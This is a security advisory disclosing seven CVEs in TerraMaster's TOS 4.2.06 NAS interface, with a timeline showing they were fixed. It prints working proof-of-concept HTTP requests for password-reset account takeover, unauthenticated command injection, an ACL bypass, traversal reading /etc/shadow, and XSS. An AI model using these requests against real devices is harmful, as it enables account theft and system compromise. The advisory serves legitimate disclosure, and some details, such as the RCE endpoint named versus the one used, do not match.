

# TerraMaster TOS Multiple Vulnerabilities

By **root**

12 December 2020 < <https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/> >

TerraMaster is well known for producing data storage devices (NAS and DAS) since 2010. TOS is the name of their web interface to manage functionalities of the device.

The product is not new to security vulnerabilities, as Joshua M. of ISE highlighted back in 2018 (<https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63>).

In 2020, IHTeam performed a security review of the current TOS version 4.2.06 and identified the following:

- CVE-2020-28184 – XSS
- CVE-2020-28185 – User Enumeration
- CVE-2020-28186 – Email Injection
- CVE-2020-28187 – Directory Traversal
- CVE-2020-28188 – Remote Command Execution
- CVE-2020-28190 – Software Update Man-in-the-middle
- CVE-2020-29189 – Incorrect Access Control

At the moment of writing Shodan has found around 1000 vulnerable TOS exposed on Internet – <https://www.shodan.io/search?query=X-Powered-By%3A+TerraMaster> < <https://www.shodan.io/search?query=X-Powered-By%3A+TerraMaster> >

## Account Takeover

CVE-2020-28186 – The Forget Password functionality was found to be vulnerable to email injection, allowing an attacker to receive a verification code to a third-party email. This attack only works if the user specified a ‘Security email’ on the account.

The first step is to identify valid account (CVE-2020-28185) with security email set via:

```
POST /wizard/initialise.php HTTP/1.1
Host: 192.168.1.206:8181
Content-Length: 28
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.1.206:8181
```

```
tab=checkuser&username=testaccount
```

The response will look like the following:

```
{"username":"testaccount","email":"user@local.local","status":1}
```

We can now proceed requesting the password reset code via:

```
POST /wizard/initialise.php HTTP/1.1
Host: 192.168.1.206:8181
Content-Length: 41
Accept: */*
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.1.206:8181
Referer: http://192.168.1.206:8181/wizard/getpass.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

```
tab=validmail&email=<valid_user@email>,
<attacker_controlled@email>
```

Both user and attacker will receive the verification code thanks to email injection (comma separated emails); At this point we can validate the code (the cookie value must be lowercase):

```
POST /wizard/initialise.php HTTP/1.1
Host: 192.168.1.206:8181
Content-Length: 25
Accept: /
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.1.206:8181
Referer: http://192.168.1.206:8181/wizard/getpass.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: check_mail=frskzi
Connection: close
```

tab=checkcode&code=FrSkzI

And finally reset the user's password via:

```
POST /wizard/initialise.php HTTP/1.1
Host: 192.168.1.206:8181
Content-Length: 82
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.1.206:8181
Referer: http://192.168.1.206:8181/wizard/getpass.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: check_mail=frskzi
Connection: close
```

tab=checkpass&username=testaccount&email=
<valid\_user@email>&code=FrSkzI&passwd=NewPassw0rdH3r3

### **Unauthenticated Remote Command Execution**

CVE-2020-28188

Vulnerable page: */include/makecvs.php*

Vulnerable parameter: *Event*

Proof of Concept:

```
GET /tos/index.php?
explorer/pathList&path=%60touch%20/tmp/file%60 HTTP/1.1
Host: 192.168.1.206:8181
```

```
-rw-r--r--  1 root  root    0 Nov 13 16:08 file
```

Full exploit available at: <https://iht.li/paste.php?hash=UEUS> <  
<https://iht.li/paste.php?hash=UEUS>>

### **Weak Access Control List**

CVE-2020-29189 – When a user is created, it could be placed within a group having read-only access to NAS folders. It was found that this option could be bypassed via the following request:

```
POST /tos/index.php?explorer/pathChmod HTTP/1.1
Host: 192.168.1.206:8181
Content-Length: 162
Accept: */*
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.1.206:8181
Referer: http://192.168.1.206:8181/tos/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=9ef919de5a6d2b17f5b6a5549e45495e;
tos_visit_time=1604152180; kod_name=testaccount; noshow=1;
kod_user_language=it-it
Connection: close

list=
[{"type":"folder","path":"Volume%2520%25231%252Fpublic%252FIS
```

```
O%252F","userlist":["admin,testaccount,user,@admin,@allusers",  
"right":["2,2,2,2,2","appmode":"0"]}]
```

The 'right' array refers to the 'userlist' array, therefore a value of '2' will grant read/write access, instead of '1' that only grants read access.

### **Directory Traversal**

CVE-2020-28187 – Instances of directory traversal leading to internal file system disclosure were identified. For example the following authenticated request can be performed to read the /etc/shadow file:

```
GET /tos/index.php?  
editor/fileGet&filename=../../../../../../etc/shadow HTTP/1.1  
Host: 192.168.1.206:8181  
Accept: application/json, text/javascript, */*; q=0.01  
X-Requested-With: XMLHttpRequest  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=xxxxxxxxxxxx;  
Connection: close
```

The nginx web server was running with root privileges, that's why it was possible to read the shadow file.

### **Cross-Site Scripting**

CVE-2020-28184  
XSS via Host header on port 80 (unauthenticated)

```
GET / HTTP/1.1  
Host: 192.168.1.206'-alert(1)='-'
```

Via GET (authenticated)

```
GET /module/index.php?mod=%2fusr%2fwww%2fmod%2f5.%22-  
alert(1)~%22 HTTP/1.1  
Host: 192.168.1.206:8181
```

### **Software update via insecure communication channel**

CVE-2020-28190 – In addition, software update and applications are checked and delivered via un-encrypted communication channel (HTTP):

```
"AmazonS3":  
{  
  "url":"http://dl.terra-  
master.com/cn/TOS7.0CJ/AmazonS3.bz2"
```

This behavior would allow man-in-the-middle attacks to successfully install malicious applications or updates.

### **Responsible Disclosure timeline:**

2 Nov 2020 – Details sent to TerraMaster Team and CVE request submitted  
17 Nov 2020 – TerraMaster confirms that fixes will be implemented in version 4.2.07  
3 Dec 2020 – TerraMaster releases TOS 4.2.07  
9 Dec 2020 – IHTeam confirms issues were fixed in 4.2.07  
12 Dec 2020 – IHTeam releases a public disclosure article